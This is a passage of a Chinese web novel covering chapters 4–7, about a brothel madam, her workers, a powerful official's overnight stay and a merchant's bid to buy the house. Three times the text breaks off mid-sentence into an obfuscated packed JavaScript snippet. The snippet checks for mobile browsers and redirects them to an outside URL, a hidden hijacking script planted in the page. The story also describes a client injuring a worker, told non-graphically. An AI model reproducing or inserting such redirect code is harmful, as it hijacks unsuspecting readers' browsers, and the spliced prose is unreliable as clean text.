那男子伸手推拦努力想往他身上贴的姑娘们,一个眼神却兜头朝金絮罩过来。 金絮愣住。 梁公子,好久没来了。 他眼底微有些发青,神色似乎很疲惫,眉头凌乱,下颚角的线条更清晰了,身上穿的墨蓝金纹袍几处有褶皱。 她出了神,在他渐渐凝固的注视下又回过神,正想上前打招呼就听得他问: “说说,捧什么场?” 4. 生活不易 金絮更加尴尬了。 在这青楼里,再恶俗的玩笑都有人开过,她当然不介意拿自己调侃。 只不过是不曾当着梁风的面。 她一直觉得自己很没有一个老鸨该有的样子,做这一行也五年了,却始终连扭着腰肢走路的习惯都没养成。她可是见过畅春阁的包阁主在见到每一位来客时都恨不得扒到对方身上去的那股热情劲儿。 她该学习一下。 金絮赔上笑,迎前道:“他们拿我开玩笑呢。梁公子,今日来是打算做什么?听曲还是过夜?” 金絮边说边挥手,姑娘们拥着他在一席坐下,捏肩捶腿,见他身上沾着夜间寒气,一个个便亲切地用身子温暖他。 梁风没回答,反问:“开你什么玩笑?” 酒食瓜果随之送来,金絮帮他布置,一面随意回答:“在说我要是接客,想跟我过夜的人能把温柔馆挤满。我看梁公子有些累了,不如先上厢房休息会儿?” 跟梁风开这种玩笑毕竟还是首次,她刻意扯开话题,梁风不为所动,接过递来的湿巾擦手,沉沉的眼神仔细看着她,这眼神又跟贾镇的不一样了。 半晌后,金絮被盯得快发毛,见他将手巾往桌上一放,道:“确实。” 她干干一笑。 梁风甫落座,贾镇和王殊便一言不发地搂着姑娘上房间。金絮确认开的是哪间房后,用眼神示意在楼上巡视的大厢照看好,就把注意力放在了梁风身上。 “坐。”他突然道。 金絮在他对面坐下。 “让她们走。” 金絮挥手,围着他的姑娘们散开。 梁风抓起筷子开始吃糕点。 金絮见他这样子,只能唤了小缃过来,“去让厨房炒两个热菜端来。” 小缃领命就走。 “等等。”金絮又叫住补充:“做鸡肉和鱼。” 小缃领命再走。梁风便放下了筷子等着。 金絮思考该找个什么话题,还没找到,他先开口: “花魁呢?” “雪姬正陪着冯公子。” 梁风凝眉想了想,道:“冯棹台?” “嗯。” 他“哦”一声,没言语。 不多久,菜上来,金絮给他摆好,陪着他吃饭。 动筷前,他问:“贾镇跟你说了什么?” “他说他想买下温柔馆。”金絮如实答。 梁风一听,沉思了片刻道:“你想卖?” “还在考虑。” 他不说话了,安心吃饭,金絮继续陪他。 从前哪次他说过,吃饭不用帮他布菜,陪着就好。 饭后,丫鬟将桌子收拾干净,又给他递了条湿巾,他摆手挥退。 “你没什么想问的?”他问。 金絮微愣,品味一番他的话后,道:“有。” 梁风挑眉,示意她开口。 金絮斟酌地问:“梁公子是在办案吗?” 他笑了一下,“没有。” 金絮“哦”一声,没了言语。 她许久没有下文,梁风见状也不说什么,起身离去,金絮急忙跟上相送。 他刚走两步又回身,从怀里掏出个牌子递与她,接着才踏出温柔馆。金絮忙道:“梁公子慢走,下次再来。” 待他离去,金絮才低头看这牌子,是掌葫钱庄的上等取钱令,拿着可以在各个郡县的掌葫钱庄中取到银子。 这么大方。 来不及还给他,金絮只能先暂时收入怀中。 大厅空了下来,只余唱曲声悠悠转转,她扫视一圈,召集姑娘们,“这儿也没人了,大家都去休息会儿吧。” 姑娘们零星散开,丽姬还在门口物色猎物。金絮找了个地方坐下,思索起来。 梁风也是温柔馆常客,偶尔过夜或者用饭,为什么今天特意提到了贾镇? 贾镇是个商人,跟大多数商人一样,精明、贪利、虚荣、深于计算。 很少有商人的赚钱手段会是完全干净的,他们往往为了避嫌,即便上青楼也不会选温柔馆这种官员眼线偏多的地方,而贾镇不同。贾镇每次来温柔馆都借着馆内的环境明目张胆地进行结交,到如今,应该明里暗里打通了不少人脉。 去年大司农就对此起疑,专门让人查了他,结果一无所获——至少贾镇明面上的账本做得很干净。 金絮也提醒过他几次,不听。 毕竟要靠这些人吃饭,她便不想把事情做绝了,只是从大司农查他之后,就额外盯住此人。只要人来馆,不管有没有点姑娘,她都会安排一个给他,盯着他一举一动。 可今日贾镇突然扬言说要买下温柔馆,还透漏出朝廷要增税的消息给她,不知道是在打什么算盘。 温柔馆和另外三馆不同,背后没有财阀或世家大族支撑,一直以来都是自负盈亏。上一任馆主已经经营困难,是到金絮接手才慢慢做起来的,不管贾镇增税的消息是不是真,以眼下的生意状况,金絮的私房钱都支撑不了多久。 她是真想卖。 但她也是真不敢卖给贾镇。 还有这么多姑娘没去处呢,看贾镇的意思,是想连所有的姑娘一块儿买了。 金絮凝眉沉吟,此外,方才梁风竟给了她掌葫钱庄的取钱令。 虽说他平时就很大方,但像这么大方还是少见。他是想帮她?如果是的话,那贾镇说的涨税的事情就很有可能是真的了。 罢,还是再看看情况吧,至少也要等云初坊案子有了个结果或是朝廷政令下来再说。 打定主意,金絮回过神,发现周围三三两两聚集的姑娘们都在谈论贾镇想买馆的事,便寻思着该找个什么时候稳稳民心。 二楼一间厢房的门被打开,金絮抬头看过去,火蓉和化莲拥着满面红光的王三少爷出来,走下楼梯。 那张不过十几岁的轻俊脸上写满意犹未尽。 果然是被他哥带来见世面的。 金絮迅速判断出他有八成的可能成为常客,于是堆起笑迎上前,“王三少爷,服侍得您还满意吗?” 王靖神清气爽,“相当不错!” 金絮笑,“那就好,满意的话您常来啊。” 王靖左右四顾,“我兄长呢?” “在您隔壁厢房呢。” 他兴奋一笑,“我找他去。”说罢便往楼上跑。 “诶诶。”金絮急忙叫住他,“三少爷,您要现在去找您的兄长,怕是不方便吧?” 他看着她,眨眨眼,恍然道:“对对对。”然后快步下梯,挑了个席位坐下,“那我在这里等等他吧。” 有丫环端了两碗汤药过来,火蓉和化莲拿过便喝。 王靖看见了,眨巴着眼问:“你们在喝什么?” “避子药。”化莲笑开了,贴他身坐下,给他捏肩臂。 王靖又一恍然,没再细问,但眼中还有些懵懵懂懂。 化莲调笑道:“看三少爷这好奇样儿,该不会是也想喝吧?” 王靖脸色一板,“我是男人,如何能喝这个?” 长见识了。金絮在一旁看着都不免觉得有些好笑。 火蓉喝完药,放下碗,走到馆周姑娘们的聚集处,分享道:“真嫩!” 这评价引惹姑娘们一阵娇笑。 趁他没听见,金絮赶紧递了个警告的眼神过去。 那几个姑娘便捂着嘴偷偷笑。 这倒也不能怪她们,雏儿在温柔馆确实不多见。金絮瞧着也挺稀罕的。 见姑娘们把三少爷伺候好了,左右闲着也无事干,金絮便想回寝楼看账本。这时,大厢下楼找到她,道:“阿絮姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839739|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛老板那边出了点事。” “怎么了?” 大厢道:“具体情况不清楚,好像是伺候得不满意,薛老板似乎想让水夭用嘴,水夭受不住,应该是吐了。” 金絮便上去二楼。正听见薛老板房内爆发了争吵,有砸东西的声音。大厢已经一旁准备好清洁用具。外面听声音听不清楚,隐约薛老板在骂人。 金絮皱眉,“去把孙姨叫来。” 大厢刚走,那房间的门猛地被从里扯开,砸出一声“嘭”响。薛老板衣衫不整怒气冲天地大步跨出,注意到金絮,立刻发怒,“温馆主不想做生意就直说!何必做出自砸招牌的事!” 他唾沫横飞,宣泄完怒火也不顾整理衣衫,径直下楼出馆。 屋子里断断续续传出水夭的哭声。 金絮套上讨好的表情,追上薛老板,“对不起啊,薛老板,没伺候好您多担待,回头我狠狠教训那丫头去!” 薛老板恍若未闻,带着满身怒气离去,金絮跟在后面喊:“您下次来时,我给您折扣。” 小厮留下付账,金絮等着薛老板走远直到看不见,再对小厮报了个价:“十两。” 收了帐,金絮继续笑:“多谢,慢走,下次再来。” 小厮丧着脸走了,金絮瞬间敛笑,转身回到散厅里发现王三少正好奇地看她,她复堆出笑,歉道:“三少爷,抱歉,让您看了笑话。” 王靖问:“发生什么事了?” “姑娘伺候不周,没让薛老板尽兴。”金絮答:“一点小事,别扰了三少爷兴致。” “原来如此。我倒是挺尽兴的。” 化莲趁机拉回三少爷注意力,金絮到二楼厢房,孙姨已经在了,几个姑娘围着水夭关切情况,还有丫鬟在清理秽物。 水夭简单穿着衣服坐在榻上,眼中含泪,张着嘴,孙姨正查看水夭嘴里有无伤口。 金絮走近,被水夭泪眼汪汪地攥住衣袖。 “没事的。不怪你。”金絮蹲下轻声安慰,再转头问孙姨,“怎么样?” “蹭破了,都出血了。”孙姨从药车上取出一个细长的木夹子,在水夭嘴里夹出两根毛发,“之后得吃几日流食了。” “好,我吩咐厨房。”金絮道。 水夭眼泪掉下来,“他说......他以后不会来了,就哄着我......我说我不行。他非要......” “嗯,不怪你,是那胖子恶心人。”金絮温声道,拭去水夭眼泪,“之后休息几日吧,把嗓子养好再说。” 孙姨端碗水递给水夭,“乖丫头,别说话了,先漱口。” 水夭接过,漱了口后吐出来,孙姨夹着块沾了药的棉布往嘴里涂抹,疼得水夭眼泪啪嗒掉。 “乖丫头,涂了药先别咽下,过一会再漱掉,知道了吗?” 水夭点点头。 金絮起身退出来,围着的姑娘关切上前。 在廊下正好碰到同时出来的王大公子,金絮赔上笑,用同一套说辞,“王大公子,真是抱歉,出了点小事扰了您的兴致。” 王王殊淡淡扫了一眼,便搂着凝荷下楼了。 楼下,王三少兴奋地奔向他哥,交谈几句后,王殊付账,二人离开。 “阿絮姐姐,”凝荷跑上来,“刚才王大公子问我,梁公子为什么会来,我告诉他我不知道。” 金絮点头,表示了解。 “水夭出什么事了?” 金絮下巴一指,“被欺负了。” 凝荷小跑进去,孙姨看见了便抬手招呼凝荷喝药,凝荷甜甜一笑,“谢谢孙姨,不过我不用喝。” 水夭一向和凝荷关系好,本来哭声已止下去,看见凝荷又哭了起来。 金絮听见开门声,扭头看过去,三楼的贾镇厢房门被人从里打开,正看见媚秋纯冬走出后回身关门。 5. 不敢动 “贾镇睡着了。” 媚秋纯冬二人看见金絮,隔空喊一声,周围很静,能听清楚。 金絮点头,正好孙姨推着药车出来,手指点了点药车,媚秋和纯冬便过来,将孙姨早就准备好的避子药喝了,再去水夭处看看情况。 温柔馆和贾镇有搭伙,馆里所有的药材都来自于贾氏药铺,金絮就专门在三楼挑了一间厢房作为贾镇的专间。 贾镇在京城时,完全是把温柔馆当家了,基本每天都睡在馆里,还要当夜的姑娘跟着一起睡,没多久,就有人向金絮反映,贾镇的呼噜声实在太大。 金絮心疼自己姑娘,于是决定在每晚贾镇睡着后,让她们偷偷出来喝药沐浴,去别的厢房休息,到贾镇差不多醒来,再溜进去躺到他旁边,假装跟他睡了一夜。目前为止没有出现破绽,中年胖子都睡得很沉。 水夭渐渐平复情绪,被凝荷带着回寝楼了。 金絮左右看看,问大厢:“什么时辰了?” “快到亥时了。” “雪姬那边怎么样?” “还在和冯公子聊天呢。” 应该快走了,冯棹台从不在馆里过夜。金絮想了想,吩咐道:“你在这看着,一个时辰后若是没客来,就提前闭馆吧,有事去寝楼找我。” “好。” 金絮便回到寝楼看账本,路过花园,果然看见雪姬和冯棹台还在亭子里。 她们如果有和客人聊了些与风月无关的内容,事后是会和金絮汇报的。 她便不多管,回到房间关上门,打开账本。 温柔馆没什么库存,主要是香料和药食材,都不能久放,因此馆里每三天进一次货,最近生意又不好,进货量减少了大半。 她寻思着还能在什么地方再缩减缩减,好给伙食方面多点预算,像是今晚,加上水夭总共只用了五份避子汤,但孙姨事先准备了十份的量,多出来的也不会留到明日,只能浪费掉。 嗯......但避子药这块还是不能省,再想想别的地方。 衣服吧,馆里还有一堆被客人撕裂的衣服放着,虽然是破的,而且被穿过,但那料子勉强算上乘,卖掉也是一笔银子。 金絮拿着红毛笔在库存本上的布头一处划了个圈。 “阿絮!” 一声大喊,她手里笔一哆嗦,再抬头,房间门被人推开。 火蓉气势汹汹,“我听说你要卖馆?!”一起来的还有丽姬。 “不是我想卖,是有人想买,我还没定主意呢。” 金絮放下笔,安抚她们坐下,“你们来是想提什么意见?” “是贾老板要买么?”丽姬问:“那贾老板是想怎样?” “他想把馆子搬到并阳郡去,连带着我们所有人一起。” “那你想卖吗?”火蓉问。 金絮对自己姑娘是毫无保留的,“对我来讲,重要的是你们怎么打算。如果你们离了温柔馆,能有一个安身立命、靠自己本事吃饭的地方,那我就会卖,虽然到时候,温柔馆剩个空壳子,贾镇可能就不会买了。” 她说:“我主要放心不下的还是你们。” 火蓉和丽姬相互看看,不说话。 金絮道:“把馆卖了后,我肯定是不会再待在馆里的,贾镇就会安排个新老鸨入馆,到那时你们日子定不像现在这么好过了。” 她想了想,继续说:“而且我感觉贾镇买馆的目的不纯。他如果买馆是为了做什么坏事的话,那我肯定不卖。” 火蓉问:“你不会待在馆里?” 丽姬推搡火蓉一下,“要是有得选,谁愿意待在青楼。” 金絮笑笑,“再加上现在朝廷动向不明,我就不是很想做出什么动静。先在外围看清楚形势,要买要卖都等风波过了再说。你们且安心吧,我要怎么处理温柔馆,一定会先跟你们打过商量的。” 火蓉笃道:“没关系,我们信你。” 金絮也笑,“我也相信你们每一个人。正好,我麻烦你们一件事,这之后几天要拜托你们俩安抚安抚其他姑娘们的情绪了,今天贾镇公开说要买馆,我看见有几位姑娘明显有些不安,你们去帮我稳稳民心。” “好!”火蓉痛快道:“这简单。” 火蓉和丽姬在姑娘内部是有一定话语权的。 “丽姬,馆里积的那堆破衣服我想卖了,你觉着卖去哪里比较好?”金絮问。 丽姬与金絮同岁,小的时候是个江湖流浪儿,靠偷盗为生,一次意外失手,被人贩子卖入温柔馆,对二手东西的买卖和典当行的内幕十分了解。 听见这话,丽姬眼睛一亮,凑过来,往金絮身上一贴,“我告诉你了,你打算给我什么呀?” 金絮一笑,“你中午跟我说想改善伙食,我都没答应,你觉着我能给你什么?得把这一堆衣服卖了,我才能有银子赏你。” 丽姬略略一寻思,道:“卖给乡下,或者裁缝铺。” “裁缝铺会收?” “会。”丽姬点头,“裁缝会把衣服做小,然后卖给孩子,咱们衣服料子还算不错,虽然没那么新,但在一些小县里还是会有人稀罕。只不过,车马路费很贵,价钱卖不了多高,最好的办法是我们自己把衣服能缝补的就缝补了,然后不经裁缝那一手,直接卖给倒腾二货的商人。” 金絮摇头,“二货买卖这行里门道比较深,尤其是京城的,不接触比较好。” “那就还是卖给裁缝铺吧,我们自己缝补得好些,价钱也能高点。” 金絮点头,“行,明天看看那堆衣服去。” 她不贪心,温柔馆的经营也还没到要走黑市的地步。 没什么事,丽姬就带着火蓉走了。 金絮继续看账本,夜渐渐变深,生意不好账本也薄,很快看完了。 小缃送来宵夜,“阿絮姐,快子时了。” 金絮吃宵夜,“闭馆了?” “闭了。” “那你和丫鬟们都去休息吧。”今晚早点睡。 吃完宵夜洗完澡,金絮在房中酝酿睡意。 实在太早,平时至少要再迟一个时辰才睡呢。金絮翻出本书,打算催催眠。刚看两个字,突然响起拍门声。 “阿絮姐,没睡吧!”门外是大厢的喊声,“梁公子来了!” 她惊得坐起,“他怎么来了?” 大厢道:“梁公子在堂里候着,说今晚睡在这儿。” 来不及多想,金絮胡乱穿了件衣服,“你去叫醒几个丫鬟,过去点烛备水。” “是。” 金絮进入后厢房,房中仅点着一只烛火照路,她快速提灯穿过,正要推开门,忽然意识到现在的前馆每层只点了两三根蜡烛,梁风此刻很可能一个人站在一片漆黑中。 金絮抓紧点了两把灯笼,推开门出去。 他以往每次留宿都会提前说一声的,今次却没有。 走到堂中,她立刻看见了梁风。 他坐在榻上,案几放着盏烛台,一手支桌揉着太阳穴,微弱的火光照亮他半面身子,容颜在半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839740|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明半暗中显得更疲惫了。 她忙上前,“梁公子,抱歉,久等了。” “这才什么时辰,就关门了?”他有些不耐烦地皱眉。 金絮干笑,“这不是没客嘛。” “走吧。” 台阶的轮廓在黑暗中模模糊糊,踩上去本不大的嘎吱声此刻也显得大了起来,两人的影子晃晃悠悠地覆盖了半面馆。 金絮提灯笼在他身侧照路,刚上一层,她抬头看,梁风的厢房逐渐亮起烛光,是丫鬟们在点灯了。 “看脚下。” “哦。”金絮忙低头,盯着脚下。 又走一层后,他突然顿步,金絮随之停下,仰头看他,发现他盯着廊侧一间房,那房里正传来相当清晰的呼噜声。 “何人?” “贾镇老板。” “贾镇住在这儿?” “是,贾老板在京城时,基本都住在馆里。” 他一言不发继续上楼,金絮却看出来他眉头皱得更深了,于是打个圆场,“梁公子,您在房中,关上门,基本听不见声儿的。” “嗯。” 冷淡的回应,金絮闭上嘴,安安静静照路。 他今天心情似乎不太好。 到了他的房间,金絮挂好灯笼,大厢还在浴室里倒热水,梁风走过去,试了下水温道:“行了,不用加了。” 金絮问:“梁公子,需要给您准备宵夜吗?” “不用。” “那要叫人陪您吗?” 他点头。 金絮看向大厢,示意在知道梁风点了哪个姑娘后,立刻去寝楼把人叫来,结果听见他说:“你留下。” “嗯......啊?什么?” 梁风看着她,“不行?” “...呃...不是......没有......” 梁风又向大厢道:“你们下去吧。” 金絮眼睁睁地看着大厢和几个丫鬟离开。 他下令:“绾发。” 金絮拿了厢房中配备的木簪给他绾好发。 他又下令:“你去外面等我。” “是......” 金絮走出去。 四楼的厢房是很大的,但此刻因为时间匆忙,蜡烛点得不够多,照不亮整间屋子,只有卧室和浴室里点了几根,勉强可视物。 金絮站着一动不动,怔怔地发愣。 直到身后传来声音,“站着干什么?” “啊?”金絮猛地转过身,回神,看见他洗完出来。 金絮提醒:“头发有点湿了。”她没绾好,掉下来一缕。 梁风随意坐下,金絮用干巾给他擦湿发,再拔掉簪子,梳头。 “晚上发生了何事?”他问。 “什么?” “晚上。” “哦......哦,没什么事。” 金絮用力一想,反应过来他问的是水夭的事,再答:“一点小矛盾,处理了。” 梁风不再说什么,梳好头发起身,走向床边,“熄灯。” 金絮一个一个地把蜡烛吹灭,有一根吹了两次才灭掉。吹完扭头,窗户有点泛泛的月光,漆黑中能看见他坐在被子里。 “过来。” 金絮一瞬能听见自己的呼吸声。她踱过去,靠近床榻,被他拉着手臂扯进被中。 金絮仰躺,梁风牵住她的手。 他什么都没说,闭上眼睛很快睡着了。 金絮一动不敢动。 6. 破衣服 金絮胆战心惊地睁了一夜眼。 天花板很黑,黑得快被她盯穿了。 天还没有亮,她一直在等鸡鸣,但鸡鸣始终没有响起。 不知什么时辰,梁风自己醒了。 金絮眨了下眼,梗着身体一动不动。 夜晚还不是最危险的时候,最危险的时候是清晨。 耳边是他的吸气声,他动了动,贴得更密了,金絮感觉到他应该睁开了眼。 良久,他低沉沉的声音响起。 “没睡?” “......睡了......” 他呼吸复渐渐静下去。 金絮仍旧盯着天花板,心里叫嚣着想找个什么东西把这天花板给他劈开。 梁风脸突然靠近,金絮呼吸一窒,指尖下意识狠狠一按,按在了自己肋骨上。 梁风低哑哼了声,似哼又似在笑。 他收回手,翻身仰躺,“我要沐浴。” 金絮如蒙大赦。 她脚蹬进鞋子里,不顾穿好就飞起离开卧房,在外间和浴室里应急点了几根蜡烛,再打把灯笼,推门出去后看见守通宵的大厢一直坐在门外。 关上门,金絮吩咐道:“备水,水温要凉一点,再让厨房做早膳,要有鱼肉。” 大厢有点担忧地看着她,“阿絮姐,你......” “我没事。”金絮笑笑,“你快去吧。” 大厢领命而去。 金絮镇定一会儿,松口气,将鞋子穿好,快速跑到一楼打开大门。静谧的街道空无一人。他府上的人马还没到。 金絮只能再快速爬到四楼后厢房,取出他上回过夜留在这儿的一套衣裳。 这衣服可就金贵了,她都是单独清洗,单独存放,单独熏香,生怕弄污了一点。 捧着衣托回到他房中,金絮小心进入浴室,隔着屏风听见里面传来水声。她放下衣服,发出了一点点声音,等一会儿,见里面没什么吩咐,便抓紧溜了出去。 拿出火折子将剩余蜡烛全部点燃,屋子终于亮堂起来,梁风也正好洗完了。 金絮利落为他穿衣服,穿着穿着发现他脸上没什么表情地盯着自己眼睛。 她有些不明所以,但不敢多问,由他看,看得久了难免不自在,悄悄绕到他身后系腰带,躲开他的眼神。 大厢送进来早饭,金絮帮着在桌上摆开,这时屋外堂肆里传来纷沓的脚步声,金絮走出去隔拦下望。他府里的人终于来了。 两列丫鬟,左边一列打灯笼,右边一列端着各种各样精致华美的东西。所有人一句多余的话都没有,径直上楼。 领头的李管家在看见她后点了点头,金絮也客气地回一礼。 她往旁边让了让,一串人灌入房中,将他全身上上下下又收拾了一遍,还给添了好几样早点,铺满一桌子。可他实际只吃了一碗鱼粥。 金絮跟其他人一样立着等候。这时,她耳边隐约听见另一声厢房门被打开的动静。 她朝贾镇的房间望去,果然看见贾镇穿戴整齐正从屋内出来,一旁是大厢提灯伺候着。 贾镇一出来就注意到这边,金絮点头算过招呼,接着就发现贾镇望向她身后。 她回头,只见梁风踏步迈出,他垂眸淡淡扫了一眼贾镇,道:“送我。” 说完就走,金絮巴巴跟上,两列丫鬟尾随。 馆外,天还没亮,青青暗暗。金絮送他上轿,一众丫鬟轿后列队。 金絮道:“梁公子慢走,下次再来。” 一行人浩浩荡荡离去,金絮打个哈欠,揉揉肩膀,一个姿势躺一夜,都快活动不开了。 “不知温馆主和那位,是个什么关系?” 金絮侧目,问话的人是贾镇。 她笑道:“梁公子是温柔馆的常客。” 贾镇听了,觑她一眼,没说话,迈步离馆,脸上的肥肉随着步子阵阵颤抖。 金絮道:“贾老板慢走,下次再来。” 回到馆中,关好门,她觉得有点饿,爬到四楼,发现大厢和媚秋纯冬已经在偷吃了。 媚秋双眼放光,筷尖指着一盘糕点,“哇,这个是什么?味道这么好?” 纯冬赞叹:“梁公子的东西就是不一样。” 金絮走到一面镜子前,照了照。 头发有点乱,衣服也有点乱,但还算整齐,腰带也没松。 她扭头加入战局,“留一点,留一点!还有那么多姑娘呢。” 金絮舀一碗鱼粥,尝两口评价道:“还行,下次让厨房少放点姜丝。” 大厢应道:“好。” 他府里也有做一盘鱼肉送来,她尝了尝,摇摇头。 简单吃一点,金絮打个哈欠,“剩下的拿去厨房,等其他人醒来之后热一热。我先去睡了。” “知道了。” “阿絮姐你快去吧。” 金絮进入寝楼卧房内,外衣一扔,脱鞋往被子里一滚,很快睡着了。 — 这一觉睡到日上三竿。 迷迷糊糊似乎睁了下眼,她翻个身,抱着被子继续睡。 再次醒来时,粘在窗户上的阳光已经没那么烈了。 金絮穿衣洗漱,出门看看天色,已至未时。她伸个懒腰,去厨房觅食。 吃饱喝足后,叫来小缃,将库房内那堆破衣服翻出来,进行分拣。 “都说脱衣服要用脱的,不要用撕的。居然有这么多吗?” 金絮看着翻拣出来的衣服,堆了快有一个人那么高。 “阿絮姐,你掌馆之后说要把破衣服囤着就再没扔过了,这都好几年的量了。”小缃拣半件衣服闻闻道:“虽然洗过,但这么久也难免有股陈年的霉味儿,浪费这么好料子。” 金絮叹气,“当时虽然想留着,但没想好好留着,以为用不上的。” 破衣服总不会再熏香保养,囤之前能好好洗一遍算不错的了。 “罢了罢了。叫些丫鬟过来一起分拣把,会快些。” 小缃叫了得闲的丫鬟,几个人合伙把衣堆搬到园子里。 金絮道:“分比较破的,和不那么破的,和只裂了一道口子的。然后就只用缝补不那么破的和裂了一道口子的。” 说完,几人便分拣起来。 夏日高阳,晒得发烫,鸟语虫鸣,叽叽喳喳。 水夭和凝荷路过,看见了也来凑个热闹。 “哇!这件!”凝荷抓起一件辨不出形状的黄衫,“这件是我的,是我第一次接客时穿的衣裳,我还记得我当时很害怕,又紧张呢,手就不停地揪衣领的穗儿,我记得那男的是......嗯......谁来着?” “我记得。”水夭道:“你那男的是外地来的北方人。”边回忆边说:“好像那天还在馆里住了一夜,之后再没来过了。当时你还被弄哭了,阿絮姐很生气,就在那男的洗澡水里偷偷放了辣椒。” 凝荷捂嘴哈哈一笑。 “好像是有这事儿。”金絮点头,走到水夭面前,“来,张嘴,我看看好点了没。” 水夭张嘴,金絮看了一圈,再点头,“是好点了。” 水夭拉住金絮袖子,“本就伤得不重,阿絮姐,我不想吃流食了。” 金絮食指点一下水夭额头,“听孙姨的,再吃一日。” 水夭丧气地嘟嘴,凝荷幸灾乐祸。 “那你的呢?你的呢?”凝荷撞了下水夭的肩膀,“你第一日穿的衣服呢,我还记得是什么样式,我帮你找找。” 水夭拦道:“我当日那男的是个太学的书生,斯文着呢,衣裳都没破,只是我后来也不想穿了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水夭垂眼不说话,嘴角下压,下唇嘟起,有点赌气,拿着一块碎布朝衣堆上挥打,“昨天那薛老板不停地跟我说,我是妓。是妓,就得按他的要求来,把他伺候舒服了,才是为妓的本分。” 金絮一默,找不到话。 凝荷眨了眨眼睛,道:“其实他这话,也没说错啊。” 火蓉手搭上水夭肩膀,语气淡然,“凝荷说得对啊,这的确是为妓的本分,可是谁还没点身不由己的时候了。” 金絮道:“瞎想些什么呢,傻丫头。” 水夭语气闷闷的,“我就是生气,气我自己不争气。” “我不是与你说过,很多事情不必太苛责自己。你还是你,许多事情都只是外在。” 这是金絮一贯和姑娘们说的话。可她每每说这话时,又觉自己只是站着说话不腰疼,因为她并没有接过客。 “争气也是一个女人必须有的东西吗?”火蓉神情坦然,“你还可以学学丽姬,对她来讲,这天底下所有能换银子的事情都是一样的,不分什么高低贵贱。” 凝荷也点点头,“我也看得开,有了第一次,后面的,也无差别了。” 水夭小脸纠结,“我也想看得开,可我就是觉得有的事情只能让女人来做,也只有让女人来做了这件事才会是这件事。” 凝荷往水夭身上拥扑,亲昵地贴着水夭耳边道:“你怎么还纠结这些事情啊,我不是说你要告诉我,我保准把你想的这些乱七八糟的东西一口吃掉。” 水夭笑了笑,却是抬手想把凝荷撕开,笑道:“不要对着我耳朵说话。” 这些事情,金絮从来不知道该怎么劝。 7. 办事风格 疏矮清透的绿竹中划过一道浅蓝身影,一副惊丽容颜在竹节间透出,金絮乍看以为是丽姬,但丽姬从不穿蓝色衣裙,能在竹帘遮挡下还漏出丰容靓饰的一角,只能是雪姬了。 正想着,竹子那边走来雪姬,衣肩的淡蓝渐变到衣摆的深蓝,眉目轻清,仿佛蓝天白云掉在眼前,若那眼睛的尾巴再拉长些,就真的很像丽姬了。清纯与艳丽往往就差那么一笔的距离。 雪姬走近了,朝金絮端方福身,眼睫低垂,柔声道:“阿絮姐,我想向您请一日假。” “哪日?” “明日。” 金絮略略回忆,“是去祭拜你弟弟?” “是。” “可以啊。”金絮道:“你去同大厢说一声就行了。” 雪姬再一福身便欲离去,金絮叫住她,问:“你昨晚和冯公子聊了些什么?” 雪姬睫毛微动,环在腰前的手拢了拢,“诗词歌赋,唱词琴曲之类的。” “哦。”金絮点头。雪姬转身离去。 凝荷看着蓝色身影走远,出神地念叨:“雪姬姐姐真不爱说话呢,感觉好难与她亲近,不知道她愿不愿意教我女红。” “放心吧。”水夭一碰凝荷肩膀,“雪姬姐虽然话少,也不多与我们亲近,但你去向她请教些事,她还是很热心的。” “热心?”火蓉食指在水夭脑袋上点一下,“傻丫头,你问她件事,她尽力给你回答,那不叫热心,那叫礼数。” 水夭缩肩捂脑袋,瘪嘴。 “是哦。”凝荷像是突然意识到这个问题,“雪姬姐姐怎么那么讲礼啊,倒不如我们这般放得开些。” 金絮提醒:“她那样做才对,礼数就是要周全些。你们这都是被我给惯的。” 凝荷听罢,嘟嘴,后撒娇一笑,牵起水夭的手向前馆跑,边跑边喊:“阿絮姐姐,我们玩儿去啦。” 金絮看着她们嘻嘻哈哈跑开,低头继续分拣衣服。 雪姬入馆一年多,曾经是长泽以南一带的名妓,卖艺卖身。 前几年皇权倾覆时,雪姬跟随家人四处流离,最终双亲还是死于战乱中,留下她和一个生了重病、快饿死的弟弟。 危急之下,卖身青楼是最快的来钱法子。她用被破身的钱治好了弟弟的病,之后再用三年的时间为自己赎身,去到一个偏远安静的县城,结果好日子才刚刚开始,弟弟又被一伙不知名强盗杀害。 浑浑噩噩过了两三年,接着就不知她是死了心还是强活着心,来到京城,来到温柔馆。 当时金絮成为老鸨刚满四年,对来投靠的姑娘是一概收入。原本看她极清洁自守的模样,还以为她只会卖艺,结果倒是出乎意料地放得开,接客后迅速将丽姬挤下,霸住魁首之位直到如今。 后来得知她的身世,金絮与她聊过几次,看得出她有倾诉的欲望,却也有很重的心防。金絮便让几个活泼的、容易逗人笑的姑娘多去陪陪她,可她仍旧持着沉默寡言的态度,跟馆里所有人若即若离。 金絮倒也没有很担心她,她若是想寻死早便去寻了,又怎么会不远长途地来到京城,自然是心中还有一分想要活下去的希望。只不过,看她最近有点郁郁寡欢,连在冯棹台面前也没多开心的样子,不知是不是又有了什么心事。 